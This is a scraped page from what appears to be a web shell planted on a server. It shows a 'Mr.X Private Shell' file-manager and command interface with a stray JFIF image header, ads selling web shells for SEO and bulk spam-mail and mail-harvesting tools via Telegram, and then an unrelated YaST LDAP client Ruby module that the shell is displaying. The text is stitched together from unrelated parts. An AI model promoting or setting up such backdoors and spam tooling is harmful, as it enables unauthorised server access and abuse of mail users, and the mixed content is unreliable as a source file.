xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# ------------------------------------------------------------------------------
# Copyright (c) 2006-2012 Novell, Inc. All Rights Reserved.
#
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of version 2 of the GNU General Public License as published by the
# Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail, you may find
# current contact information at www.novell.com.
# ------------------------------------------------------------------------------

# File:        modules/Ldap.ycp
# Module:        Configuration of LDAP client
# Summary:        LDAP client configuration data, I/O functions.
# Authors:        Peter Varkoly <varkoly@suse.com>
#               Thorsten Kukuk <kukuk@suse.de>
#                Anas Nashif <nashif@suse.de>
#
# $Id$
require "yast"

module Yast
  class LdapClass < Module
    def main
      Yast.import "UI"
      textdomain "ldap"

      Yast.import "FileUtils"
      Yast.import "Hostname"
      Yast.import "Label"
      Yast.import "Message"
      Yast.import "Mode"
      Yast.import "Nsswitch"
      Yast.import "Package"
      Yast.import "Pam"
      Yast.import "Popup"
      Yast.import "Progress"
      Yast.import "Report"
      Yast.import "Service"
      Yast.import "Stage"
      Yast.import "String"
      Yast.import "Summary"
      Yast.import "URL"

      # show popups with error messages?
      @use_gui = true

      # DN of base configuration object
      @base_config_dn = ""


      # Required packages for this module to operate
      # -- they are now required only when LDAP is set for authentication
      @required_packages = []

      # Write only, used during autoinstallation.
      # Don't run services and SuSEconfig, it's all done at one place.
      @write_only = false

      # Are LDAP services available via nsswitch.conf?
      @start = false

      # Is NIS service available? If yes, and LDAP client will be enabled, warn
      # user (see bug #36981)
      @nis_available = false

      # If no, automounter will not be affected.
      @_autofs_allowed = true
      # Start automounter and import the settings from LDAP
      @_start_autofs = false

      # If login of LDAP uses to local machine is enabled
      @login_enabled = true

      # which attribute have LDAP groups for list of members
      @member_attribute = "member"

      # IP addresses of LDAP server.
      @server = ""

      # local settings modified?
      @modified = false

      # /etc/openldap/ldap.conf modified?
      @openldap_modified = false

      # base DN
      @base_dn = ""

      @ldap_tls = "no"

      # CA certificates for server certificate verification
      # At least one of these are required if tls_checkpeer is "yes"
      @tls_cacertdir = ""
      @tls_cacertfile = ""
      # Require and verify server certificate (yes/no)
      @tls_checkpeer = "yes"

      # Which crypt method should be used?
      @pam_password = "exop"

      # lines of /etc/passwd, starting with +/-
      @plus_lines_passwd = []

      @default_port = 389

      # If home directories of LDAP users are stored on this machine
      @file_server = true

      # are we binding anonymously?
      @anonymous = false

      # bind password for LDAP server
      @bind_pass = nil

      # DN for binding to LDAP server
      @bind_dn = ""

      # DN of currently edited configuration module
      @current_module_dn = ""
      # DN of currently edited template
      @current_template_dn = ""

      # if eDirectory is used as server
      @nds = false

      # if crypted connection was switched of after failure (#330054)
      @tls_switched_off = false

      @nds_checked = false

      # if OES is used as a client
      @oes = false

      # defaults for adding new config objects and templates
      @new_objects = {
        "suseUserConfiguration"  => {
          "suseSearchFilter"      => ["objectClass=posixAccount"],
          "susePasswordHash"      => ["SSHA"],
          "suseSkelDir"           => ["/etc/skel"],
          "suseMinUniqueId"       => ["1000"],
          "suseNextUniqueId"      => ["1000"],
          "suseMaxUniqueId"       => ["60000"],
          "suseMinPasswordLength" => ["5"],
          "suseMaxPasswordLength" => ["8"]
        },
        "suseGroupConfiguration" => {
          "suseSearchFilter" => ["objectClass=posixGroup"],
          "suseMinUniqueId"  => ["1000"],
          "suseNextUniqueId" => ["1000"],
          "suseMaxUniqueId"  => ["60000"]
        },
        "suseUserTemplate"       => {
          "objectClass"         => [
            "top",
            "suseObjectTemplate",
            "suseUserTemplate"
          ],
          "suseNamingAttribute" => ["uid"],
          "suseDefaultValue"    => [
            "homeDirectory=/home/%uid",
            "loginShell=/bin/bash"
          ],
          "susePlugin"          => ["UsersPluginLDAPAll"]
        },
        "suseGroupTemplate"      => {
          "objectClass"         => [
            "top",
            "suseObjectTemplate",
            "suseGroupTemplate"
          ],
          "suseNamingAttribute" => ["cn"],
          "susePlugin"          => ["UsersPluginLDAPAll"]
        }
      }

      @base_template_dn = @base_config_dn

      # settings saved at LDAP server modified
      @ldap_modified = false

      @config_modules = {}
      @templates = {}

      @bound = false

      # DN's of groups (posixGroups) in LDAP
      @groups_dn = []

      # Map of object classes (from schema). Indexed by names.
      @object_classes = {}

      # Map of atribute types (from schema). Indexed by names.
      @attr_types = {}

      # encryption schemes supported by slappasswd
      @hash_schemas = ["CLEAR", "CRYPT", "SHA", "SSHA", "MD5", "SMD5"]

      # Available configuration modules (objectClass names)
      # TODO update
      @available_config_modules = [
        "suseUserConfiguration",
        "suseGroupConfiguration"
      ]

      # The defualt values, which should replace the ones from Read ()
      # Used during instalation, when we want to do a reasonable proposal
      @initial_defaults = {}

      # If the default values, used from ldap-server module were used
      # to configure ldap-client
      @initial_defaults_used = false

      @schema_initialized = false

      @ldap_initialized = false

      # was LDAP connection initialized with TLS?
      @tls_when_initialized = false

      # If false, do not read settings already set from outside
      # used e.g. for Users YaPI. see bug #60898
      @read_settings = true

      # if sshd should be restarted during write phase
      @restart_sshd = false

      # if /etc/passwd was read
      @passwd_read = false

      # packages needed for pam_ldap/nss_ldap configuration
      @pam_nss_packages = ["pam_ldap", "nss_ldap"]

      # packages needed for sssd configuration
      @sssd_packages = ["sssd"]

      # if sssd is used instead of pam_ldap/nss_ldap (fate#308902)
      @sssd = true

      @ldap_error_hints = {
        # hint to error message
        -1  => _(
          "Verify that the LDAP Server is running and reachable."
        ),
        # hint to error message
        -11 => _(
          "Failed to establish TLS encryption.\nVerify that the correct CA Certificate is installed and the Server Certificate is valid."
        ),
        # hint to error message
        2   => _(
          "Failed to establish TLS encryption.\nVerify that the Server has StartTLS support enabled."
        )
      }
    end

    #----------------------------------------------------------------

    # If the base DN has changed from a nonempty one, it may only be
    # changed at boot time. Use this to warn the user.
    # @return whether changed by SetBaseDN
    def BaseDNChanged
      @base_dn_changed
    end

    # obsolete, use BaseDNChanged
    def DomainChanged
      BaseDNChanged()
    end

    # Get the Base DN
    def GetBaseDN
      @base_dn
    end

    # obsolete, use GetBaseDN
    def GetDomain
      GetBaseDN()
    end

    # Set new LDAP base DN
    # @param [String] new_base_dn a new base DN
    def SetBaseDN(new_base_dn)
      @base_dn_changed = true if @base_dn != new_base_dn
      @base_dn = new_base_dn
      nil
    end

    # obsolete, use SetBaseDN
    def SetDomain(new_domain)
      SetBaseDN(new_domain)
    end

    # Set the defualt values, which should replace the ones from Read ()
    # Used during instalation, when we want to do a reasonable proposal
    def SetDefaults(settings)
      settings = deep_copy(settings)
      Builtins.y2milestone("using initial defaults: %1", settings)
      @initial_defaults = Builtins.eval(settings)
      true
    end

    # set the value of read_settings variable
    # which means, do not read some settings from system
    def SetReadSettings(read)
      @read_settings = read
      @read_settings
    end

    # Read single entry from /etc/openldap/ldap.conf file
    # @param [String] entry entry name
    # @param [String] defvalue default value if entry is not present
    # @return entry value
    def ReadLdapConfEntry(entry, defvalue)
      value = defvalue
      ret = SCR.Read(path(".ldap_conf.v."+ entry ))
      if ret == nil
        value = defvalue
      elsif Ops.is_list?(ret)
        value = Ops.get_string(Convert.to_list(ret), 0, defvalue)
      else
        value = Builtins.sformat("%1", ret)
      end
      value
    end

    # Read multi-valued entry from /etc/openldap/ldap.conf file
    # @param [String] entry entry name
    # @return entry value
    def ReadLdapConfEntries(entry)
      ret = SCR.Read(path( ".ldap_conf.v."+ entry ))
      if ret == nil
        return []
      elsif Ops.is_list?(ret)
        return Convert.convert(ret, :from => "any", :to => "list <string>")
      else
        return [Builtins.sformat("%1", ret)]
      end
    end

    # Write (single valued) entry to /etc/openldap/ldap.conf
    # @param [String] entry name
    # @param [String] value; if value is nil, entry will be removed
    def WriteLdapConfEntry(entry, value)
      SCR.Write(path( ".ldap_conf.v." + entry ), value.nil ? nil : [value] ) 
      nil
    end

    # Write (possibly multi valued) entry to /etc/openldap/ldap.conf
    # @param [String] entry name
    # @param [Array<String>] value it is of type [attr1, attr2],
    # in /etc/openldap/ldap.conf should be written as "entry attr1 attr2"
    # @example to write "nss_map_attribute       uniquemember member", call
    # WriteLdapConfEntries ("nss_map_attribute", ["uniquemember", "member"])
    def WriteLdapConfEntries(entry, value)
      value = deep_copy(value)
      current = ReadLdapConfEntries(entry)
      values = []
      Builtins.foreach(current) do |val|
        lval = Builtins.splitstring(val, " \t")
        if Builtins.tolower(Ops.get_string(lval, 0, "")) !=
            Builtins.tolower(Ops.get(value, 0, ""))
          values = Builtins.add(values, val)
        else
          values = Builtins.add(values, Builtins.mergestring(value, " "))
        end
      end
      values = [Builtins.mergestring(value, " ")] if Builtins.size(current) == 0
      SCR.Write( path(".ldap_conf.v." + entry), values )

      nil
    end

    # Add a new value to the entry in /etc/openldap/ldap.conf
    # @param [String] entry name
    # @param [String] value
    def AddLdapConfEntry(entry, value)
      current = ReadLdapConfEntries(entry)
      current = Builtins.maplist(current) { |e| Builtins.tolower(e) }

      if !Builtins.contains(current, Builtins.tolower(value))
        SCR.Write( path(".ldap_conf.v." + entry), current | [value] )
      end

      nil
    end

    # Check if current machine runs OES
    def CheckOES
      @oes = Package.Installed("NOVLam")
      @oes
    end

    # convert list of uri's to list of hosts
    def uri2servers(uri)
      Builtins.mergestring(
        Builtins.maplist(Builtins.splitstring(uri, " \t")) do |u|
          url = URL.Parse(u)
          h = Ops.get_string(url, "host", "")
          p = Ops.get_string(url, "port", "")
          if Ops.get_string(url, "scheme","") == "ldaps"
             @ldap_tls = "yes"
          end
          if p != ""
            @ldap_tls = "yes" if( p == "636" || p == "ldaps" )
            h = "#{h}:#{p}"
          end
          h
        end,
        " "
      )
    end

    # Read values of LDAP hosts from ldap.conf
    # get them from 'uri' or 'host' values
    def ReadLdapHosts
      ret = ""
      uri = ReadLdapConfEntry("uri", "")
      if uri == ""
        ret = ReadLdapConfEntry("host", "")
      else
        ret = uri2servers(uri)
      end
      ret
    end

    # Reads LDAP settings from the SCR
    # @return success
    def Read

      @start          = Nsswitch.ReadDb("passwd").include?("sss")
      @server         = ReadLdapHosts()
      @base_dn        = ReadLdapConfEntry("BASE", "")
      @tls_cacert     = ReadLdapConfEntry("TLS_CACERT", "")
      @tls_cacertdir  = ReadLdapConfEntry("TLS_CACERTDIR", "")
      @bind_dn        = ReadLdapConfEntry("BINDDN","cn=Administrator," + @base_dn )
      @base_config_dn = "ou=ldapconfig," + @base_dn

      Builtins.y2milestone("Read LDAP Settings: server %1, base_dn %2, bind_dn %3, base_config_dn %4",@server, @base_dn, @bind_dn, @base_config_dn)

      true
    end

    # Dump the LDAP settings to a map based on /etc/openldap/slapd.conf
    # @return $["start":, "servers":[...], "domain":]
    def Export
      {
        "start_ldap"       => @start,
        "ldap_server"      => @server,
        "ldap_domain"      => @base_dn,
        "ldap_tls"         => @ldap_tls,
        "bind_dn"          => @bind_dn,
        "base_config_dn"   => @base_config_dn
      }
    end

    def FindLDAPServer
      # ask DNS for LDAP server address if none is defined
        return nil unless FileUtils.Exists("/usr/bin/dig")
        domain = Hostname.CurrentDomain
        # workaround for bug#393951
        if domain == "" && Stage.cont
          out2 = Convert.to_map(
            SCR.Execute(path(".target.bash_output"), "domainname")
          )
          if Ops.get_integer(out2, "exit", 0) == 0
            domain = Builtins.deletechars(
              Ops.get_string(out2, "stdout", ""),
              "\n"
            )
          end
        end
        out = Convert.to_map(
          SCR.Execute(
            path(".target.bash_output"),
            Builtins.sformat("dig SRV _ldap._tcp.%1 +short", domain)
          )
        )
        first = Ops.get(
          Builtins.splitstring(Ops.get_string(out, "stdout", ""), "\n"),
          0,
          ""
        )
        srv = Ops.get(Builtins.splitstring(first, " "), 3, "")
        if srv != ""
          # remove dot from the end of line
          @server = Builtins.substring(
            srv,
            0,
            Ops.subtract(Builtins.size(srv), 1)
          )
          Builtins.y2milestone("LDAP server address acquired from DNS...")
          # now, check if there is reasonable 'default' DN
          dn = ""
          Builtins.foreach(Builtins.splitstring(domain, ".")) do |part|
            dn = Ops.add(dn, ",") if dn != ""
            dn = Ops.add(Ops.add(dn, "dc="), part)
          end
          if 0 ==
              SCR.Execute(
                path(".target.bash"),
                Builtins.sformat(
                  "ldapsearch -x -h %1 -s base -b '' namingContexts | grep -i '^namingContexts: %2'",
                  @server,
                  dn
                )
              )
            Builtins.y2milestone("proposing DN %1 based on %2", dn, domain)
            @base_dn = dn
          end
        end
    end
    # ------------- functions for work with LDAP tree contents ------------

    # Error popup for errors detected during LDAP operation
    # @param [String] type error type: binding/reading/writing
    # @param detailed error message (from agent-ldap)
    def LDAPErrorMessage(type, error)
      ldap_error = {
        # error message:
        "initialize"   => _(
          "\nThe server could be down or unreachable.\n"
        ),
        # error message:
        "missing_dn"   => _(
          "\nThe value of DN is missing or invalid.\n"
        ),
        # error message:
        "at_not_found" => _("\nAttribute type not found.\n"),
        # error message:
        "oc_not_found" => _("\nObject class not found.\n")
      }

      error_type = {
        # error message, more specific description follows
        "init"   => _(
          "Connection to the LDAP server cannot be established."
        ),
        # error message, more specific description follows
        "bind"   => _(
          "A problem occurred while connecting to the LDAP server."
        ),
        # error message, more specific description follows
        "read"   => _(
          "A problem occurred while reading data from the LDAP server."
        ),
        # error message, more specific description follows
        "users"  => _(
          "A problem occurred while writing LDAP users."
        ),
        # error message, more specific description follows
        "groups" => _(
          "A problem occurred while writing LDAP groups."
        ),
        # error message, more specific description follows
        "write"  => _(
          "A problem occurred while writing data to the LDAP server."
        ),
        # error message, more specific description follows
        "schema" => _(
          "A problem occurred while reading schema from the LDAP server."
        )
      }

      if !@use_gui || Mode.commandline
        Builtins.y2error(Ops.get_string(error_type, type, "Unknown LDAP error"))
        Builtins.y2error(Ops.get_string(ldap_error, error, error))
        return
      end

      error = "YaST error?" if error == nil

      UI.OpenDialog(
        HBox(
          HSpacing(0.5),
          VBox(
            VSpacing(0.5),
            # label
            Left(Heading(Label.ErrorMsg)),
            # default error message
            Label(
              Ops.get_locale(
                error_type,
                type,
                _("An unknown LDAP error occurred.")
              )
            ),
            ReplacePoint(Id(:rp), Empty()),
            VSpacing(0.5),
            Left(
              CheckBox(
                Id(:details),
                Opt(:notify),
                # checkbox label
                _("&Show Details"),
                false
              )
            ),
            PushButton(Id(:ok), Opt(:key_F10, :default), Label.OKButton)
          ),
          HSpacing(0.5)
        )
      )
      ret = nil
      UI.ChangeWidget(Id(:details), :Enabled, false) if error == ""
      begin
        ret = UI.UserInput
        if ret == :details
          if Convert.to_boolean(UI.QueryWidget(Id(:details), :Value))
            UI.ReplaceWidget(
              Id(:rp),
              VBox(Label(Ops.get_string(ldap_error, error, error)))
            )
          else
            UI.ReplaceWidget(Id(:rp), Empty())
          end
        end
      end while ret != :ok && ret != :cancel
      UI.CloseDialog

      nil
    end

    # Reads and returns error map (=message + code) from agent
    def LDAPErrorMap
      ret = Convert.to_map(SCR.Read(path(".ldap.error")))
      if Ops.get_string(@ldap_error_hints, Ops.get_integer(ret, "code", 0), "") != ""
        Ops.set(
          ret,
          "hint",
          Ops.get_string(@ldap_error_hints, Ops.get_integer(ret, "code", 0), "")
        )
      end
      deep_copy(ret)
    end

    # Reads and returns error message from agent
    def LDAPError
      err_map = LDAPErrorMap()
      error = Ops.get_string(err_map, "msg", "")
      if Ops.get_string(err_map, "server_msg", "") != ""
        error = Builtins.sformat(
          "%1\n(%2)",
          error,
          Ops.get_string(err_map, "server_msg", "")
        )
      end
      error
    end


    # return administrator's DN
    # if it was not read yet, read it now
    def GetBindDN
      if @bind_pass == nil && Builtins.size(@bind_dn) == 0
        Builtins.y2milestone("--- bind dn not read yet or empty, reading now")
        @bind_dn = ReadLdapConfEntry("BINDDN", "")
      end
      @bind_dn
    end


    # this is a hack
    def GetFirstServer(servers)
      if @bind_pass == nil && servers == ""
        Builtins.y2milestone("--- server not read yet or empty, reading now")
        servers = ReadLdapHosts()
      end

      l_servers = Builtins.splitstring(servers, " \t")
      srv = Ops.get_string(l_servers, 0, "")
      Ops.get(Builtins.splitstring(srv, ":"), 0, "")
    end

    # this is a hack
    def GetFirstPort(servers)
      if @bind_pass == nil && servers == ""
        Builtins.y2milestone("--- server not read yet or empty, reading now")
        servers = ReadLdapHosts()
      end

      l_servers = Builtins.splitstring(servers, " \t")
      srv = Ops.get_string(l_servers, 0, "")
      return @default_port if !Builtins.issubstring(srv, ":")
      s_port = Builtins.substring(srv, Ops.add(Builtins.search(srv, ":"), 1))
      if s_port == "" || Builtins.tointeger(s_port) == nil
        return @default_port
      else
        return Builtins.tointeger(s_port)
      end
    end

    # Shut down existing LDAP connection
    def LDAPClose
      @ldap_initialized = false
      Convert.to_boolean(SCR.Execute(path(".ldap.close")))
    end

    # Initializes LDAP agent
    def LDAPInit
      # FIXME what if we have more servers? -> choose dialog?
      ret = ""
      args = {
        "hostname"   => GetFirstServer(@server),
        "port"       => GetFirstPort(@server),
        "use_tls"    => @ldap_tls,
        "cacertdir"  => @tls_cacertdir,
        "cacertfile" => @tls_cacertfile
      }
      init = Convert.to_boolean(SCR.Execute(path(".ldap"), args))
      if init == nil
        # error message
        ret = _("Unknown error. Perhaps 'yast2-ldap' is not available.")
      else
        @ldap_initialized = init
        @tls_when_initialized = ( @ldap_tls == "yes" )
        ret = LDAPError() if !init
      end
      ret
    end

    # Initializes LDAP agent; use the data passed as argument instead global values
    # Returns whole error map, not just message
    def LDAPInitArgs(args)
      args = deep_copy(args)
      ret = {}
      init = Convert.to_boolean(SCR.Execute(path(".ldap"), args))
      if init == nil
        # error message
        Ops.set(
          ret,
          "msg",
          _("Unknown error. Perhaps 'yast2-ldap' is not available.")
        )
      else
        @ldap_initialized = init
        if !init
          ret = LDAPErrorMap()
        else
          @tls_when_initialized = Ops.get_string(args, "use_tls", "") == "yes"
        end
      end
      deep_copy(ret)
    end

    # Check if LDAP connection can be established with given values.
    def CheckLDAPConnection(args)
      args = deep_copy(args)
      LDAPClose()
      errmap = LDAPInitArgs(args)

      return true if errmap == {}

      details = Ops.get_string(errmap, "msg", "")
      if Ops.get_string(errmap, "server_msg", "") != ""
        details = Builtins.sformat(
          "%1\n%2",
          details,
          Ops.get_string(errmap, "server_msg", "")
        )
      end
      hint = Ops.get_string(errmap, "hint", "")

      UI.OpenDialog(
        HBox(
          HSpacing(0.5),
          VBox(
            VSpacing(0.5),
            # label
            Left(Heading(Label.ErrorMsg)),
            # error message
            Left(
              Label(_("Connection to the LDAP server cannot be established."))
            ),
            ReplacePoint(Id(:rp), Empty()),
            VSpacing(0.2),
            Left(
              CheckBox(
                Id(:details),
                Opt(:notify),
                # checkbox label
                _("&Show Details"),
                false
              )
            ),
            VSpacing(),
            hint != "" ? VBox(Left(Label(hint)), VSpacing()) : VBox(),
            Left(
              Label(
                # question following error message (yes/no buttons follow)
                _("Really keep this configuration?")
              )
            ),
            HBox(
              PushButton(Id(:yes), Opt(:key_F10, :default), Label.YesButton),
              PushButton(Id(:no), Opt(:key_F9), Label.NoButton)
            )
          ),
          HSpacing(0.5)
        )
      )
      ret = nil
      begin
        ret = UI.UserInput
        if ret == :details
          if Convert.to_boolean(UI.QueryWidget(Id(:details), :Value))
            UI.ReplaceWidget(Id(:rp), VBox(Label(details)))
          else
            UI.ReplaceWidget(Id(:rp), Empty())
          end
        end
      end while ret != :yes && ret != :no
      UI.CloseDialog
      ret == :yes
    end

    # popup shown after failed connection: ask for retry withou TLS (see bug 246397)
    # @return true if user wants to retry without TLS
    def ConnectWithoutTLS(errmap)
      errmap = deep_copy(errmap)
      details = Ops.get_string(errmap, "msg", "")
      if Ops.get_string(errmap, "server_msg", "") != ""
        details = Builtins.sformat(
          "%1\n%2",
          details,
          Ops.get_string(errmap, "server_msg", "")
        )
      end

      UI.OpenDialog(
        HBox(
          HSpacing(0.5),
          VBox(
            VSpacing(0.5),
            # label
            Left(Heading(Label.ErrorMsg)),
            # error message
            Left(
              Label(_("Connection to the LDAP server cannot be established."))
            ),
            ReplacePoint(Id(:rp), Empty()),
            VSpacing(0.2),
            Left(
              CheckBox(
                Id(:details),
                Opt(:notify),
                # checkbox label
                _("&Show Details"),
                false
              )
            ),
            VSpacing(),
            Left(
              Label(
                # question following error message (yes/no buttons follow)
                _(
                  "A possible reason for the failed connection may be that your client is\n" +
                    "configured for TLS/SSL but the server does not support it.\n" +
                    "\n" +
                    "Retry connection without TLS/SSL?\n"
                )
              )
            ),
            ButtonBox(
              PushButton(Id(:yes), Opt(:key_F10, :default), Label.YesButton),
              PushButton(Id(:no), Opt(:key_F9), Label.NoButton)
            )
          ),
          HSpacing(0.5)
        )
      )
      ret = nil
      begin
        ret = UI.UserInput
        if ret == :details
          if Convert.to_boolean(UI.QueryWidget(Id(:details), :Value))
            UI.ReplaceWidget(Id(:rp), VBox(Label(details)))
          else
            UI.ReplaceWidget(Id(:rp), Empty())
          end
        end
      end while ret != :yes && ret != :no
      UI.CloseDialog
      ret == :yes
    end

    # Initializes LDAP agent, offers to turn off TLS if it failed
    # @args arguments to use for initializaton (if empty, uses the current values)
    def LDAPInitWithTLSCheck(args)
      args = deep_copy(args)
      ret = ""
      if args == {}
        args = {
          "hostname"   => GetFirstServer(@server),
          "port"       => GetFirstPort(@server),
          "use_tls"    => @ldap_tls,
          "cacertdir"  => @tls_cacertdir,
          "cacertfile" => @tls_cacertfile
        }
      end
      init = Convert.to_boolean(SCR.Execute(path(".ldap"), args))
      # error message
      unknown = _("Unknown error. Perhaps 'yast2-ldap' is not available.")
      if init == nil
        ret = unknown
      else
        if !init
          errmap = LDAPErrorMap()
          if Ops.get_string(args, "use_tls", "") == "yes" &&
              Ops.get_boolean(errmap, "tls_error", false) &&
              ConnectWithoutTLS(errmap)
            Ops.set(args, "use_tls", "no")
            init = Convert.to_boolean(SCR.Execute(path(".ldap"), args))
            if init == nil
              ret = unknown
            elsif !init
              ret = LDAPError()
            else
              Builtins.y2milestone("switching TLS off...")
              @tls_switched_off = true
            end
          else
            ret = Ops.get_string(errmap, "msg", "")
            if Ops.get_string(errmap, "server_msg", "") != ""
              ret = Builtins.sformat(
                "%1\n%2",
                ret,
                Ops.get_string(errmap, "server_msg", "")
              )
            end
          end
        end
        @ldap_initialized = init
        @tls_when_initialized = Ops.get_string(args, "use_tls", "no") == "yes"
      end
      ret
    end

    # Binds to LDAP server
    # @param [String] pass password
    def LDAPBind(pass)
      ret = ""
      if pass != nil
        args = {}
        args = { "bind_dn" => @bind_dn, "bind_pw" => pass } if !@anonymous
        if !Convert.to_boolean(SCR.Execute(path(".ldap.bind"), args))
          ret = LDAPError()
        else
          @bound = true
        end
      end
      ret
    end

    # Asks user for bind_dn and password to LDAP server
    # @param anonymous if anonymous access could be allowed
    # @return password
    def GetLDAPPassword(enable_anonymous)
      Read() if @bind_dn.empty?
      UI.OpenDialog(
        Opt(:decorated),
        VBox(
          HSpacing(40),
          TextEntry(Id(:bdn), Opt(:hstretch), _("BindDN"), @bind_dn ),
          # password entering label
          Password(Id(:pw),   Opt(:hstretch), _("&LDAP Server Password")),
          # label
          Label(
            Builtins.sformat(
              _("Server: %1:%2"),
              GetFirstServer(@server),
              GetFirstPort(@server)
            )
          ),
          # label (%1 is admin DN - string)
          ButtonBox(
            PushButton(Id(:ok), Opt(:key_F10, :default), Label.OKButton),
            # button label
            PushButton(Id(:anon), Opt(:key_F6), _("&Anonymous Access")),
            PushButton(Id(:cancel), Opt(:key_F9), Label.CancelButton)
          )
        )
      )
      UI.ChangeWidget(Id(:anon), :Enabled, false) if !enable_anonymous
      UI.SetFocus(Id(:pw))
      ret = UI.UserInput
      pw = ""
      if ret == :ok
        pw       = Convert.to_string(UI.QueryWidget(Id(:pw), :Value))
        @bind_dn = Convert.to_string(UI.QueryWidget(Id(:bdn), :Value))
        @anonymous = false
      elsif ret == :cancel
        pw = nil
      else
        @anonymous = true
      end
      UI.CloseDialog
      pw
    end

    # Asks for LDAP password and tries to bind with it
    # @return password entered, nil on cancel
    def LDAPAskAndBind(enable_anonymous)
      return nil if Mode.commandline
      pw = GetLDAPPassword(enable_anonymous)
      if pw != nil
        ldap_msg = LDAPBind(pw)
        while pw != nil && ldap_msg != ""
          LDAPErrorMessage("bind", ldap_msg)
          pw = GetLDAPPassword(enable_anonymous)
          ldap_msg = LDAPBind(pw)
        end
      end
      pw
    end

    # Check if attribute allowes only single or multiple value
    # @param [String] attr attribute name
    # @return answer
    def SingleValued(attr)
      attr = Builtins.tolower(attr)
      if !Builtins.haskey(@attr_types, attr)
        attr_type = Convert.to_map(
          SCR.Read(path(".ldap.schema.at"), { "name" => attr })
        )
        attr_type = {} if attr_type == nil
        Ops.set(@attr_types, attr, attr_type)
      end
      Ops.get_boolean(@attr_types, [attr, "single"], false)
    end

    # Gets the description of attribute (from schema)
    # @param [String] attr attribute name
    # @return description
    def AttributeDescription(attr)
      if !Builtins.haskey(@attr_types, attr)
        attr_type = Convert.to_map(
          SCR.Read(path(".ldap.schema.at"), { "name" => attr })
        )
        attr_type = {} if attr_type == nil
        Ops.set(@attr_types, attr, attr_type)
      end
      Ops.get_string(@attr_types, [attr, "desc"], "")
    end

    # Returns true if given object class exists in schema
    # @param [String] class ObjectClass name
    def ObjectClassExists(_class)
      Convert.to_boolean(
        SCR.Read(path(".ldap.schema.oc.check"), { "name" => _class })
      )
    end

    # Returns true if given object class is of 'structural' type
    # @param [String] class ObjectClass name
    def ObjectClassStructural(_class)
      object_class = Convert.to_map(
        SCR.Read(path(".ldap.schema.oc"), { "name" => _class })
      )
      Ops.get_integer(object_class, "kind", 0) == 1
    end


    # Returns allowed and required attributes of given object class
    # Read it from LDAP if it was not done yet.
    # @param [String] class name of object class
    # @return attribute names (list of strings)
    def GetAllAttributes(_class)
      _class = Builtins.tolower(_class)
      if !Builtins.haskey(@object_classes, _class)
        object_class = Convert.to_map(
          SCR.Read(path(".ldap.schema.oc"), { "name" => _class })
        )
        object_class = {} if object_class == nil #TODO return from function?
        Ops.set(
          object_class,
          "all",
          Builtins.union(
            Ops.get_list(object_class, "may", []),
            Ops.get_list(object_class, "must", [])
          )
        )
        # read attributes of superior classes
        Builtins.foreach(Ops.get_list(object_class, "sup", [])) do |sup_oc|
          sup_all = GetAllAttributes(sup_oc)
          Ops.set(
            object_class,
            "all",
            Builtins.union(Ops.get_list(object_class, "all", []), sup_all)
          )
          Ops.set(
            object_class,
            "must",
            Builtins.union(
              Ops.get_list(object_class, "must", []),
              Ops.get_list(@object_classes, [sup_oc, "must"], [])
            )
          )
        end
        Ops.set(@object_classes, _class, object_class)
      end
      Ops.get_list(@object_classes, [_class, "all"], [])
    end

    # Returns required attributes of given object class
    # Read it from LDAP if it was not done yet.
    # @param [String] class name of object class
    # @return attribute names (list of strings)
    def GetRequiredAttributes(_class)
      _class = Builtins.tolower(_class)
      GetAllAttributes(_class) if !Builtins.haskey(@object_classes, _class)
      Ops.get_list(@object_classes, [_class, "must"], [])
    end

    def GetOptionalAttributes(_class)
      _class = Builtins.tolower(_class)
      GetAllAttributes(_class) if !Builtins.haskey(@object_classes, _class)
      Ops.get_list(@object_classes, [_class, "may"], [])
    end

    # Returns the list of all allowed and required attributes for each
    # object class, given in the list of object classes
    # @param [Array] classes list of object classes whose attributes we want
    # @return attribute names (list of strings)
    def GetObjectAttributes(classes)
      classes = deep_copy(classes)
      ret = []
      Builtins.foreach(
        Convert.convert(classes, :from => "list", :to => "list <string>")
      ) { |_class| ret = Builtins.union(ret, GetAllAttributes(_class)) }
      deep_copy(ret)
    end

    # For a given object, add all atributes this object is allowed to have
    # according to its "objectClass" value. Added attributes have empty values.
    # @param [Hash] object map describing LDAP entry
    # @return updated map
    def AddMissingAttributes(object)
      object = deep_copy(object)
      Builtins.foreach(Ops.get_list(object, "objectClass", [])) do |_class|
        Builtins.foreach(
          Convert.convert(
            GetAllAttributes(_class),
            :from => "list",
            :to   => "list <string>"
          )
        ) do |attr|
          if !Builtins.haskey(object, attr) &&
              !Builtins.haskey(object, Builtins.tolower(attr))
            object = Builtins.add(object, attr, [])
          end
        end
      end
      deep_copy(object)
    end

    # Prepare agent for later schema queries
    # (agent reads schema to its internal structures)
    # @return error message
    def InitSchema
      schemas = Convert.to_list(
        SCR.Read(
          path(".ldap.search"), #0:base
          { "base_dn" => "", "attrs" => ["subschemaSubentry"], "scope" => 0 }
        )
      )
      schema_dn = Ops.get_string(schemas, [0, "subschemaSubentry", 0], "")
      return LDAPError() if schemas == nil || schema_dn == ""

      if !Convert.to_boolean(
          SCR.Execute(path(".ldap.schema"), { "schema_dn" => schema_dn })
        )
        return LDAPError()
      end

      @schema_initialized = true
      ""
    end

    # In template object, convert the list of values
    # (which is in the form [ "a1=v1", "a2=v2"])
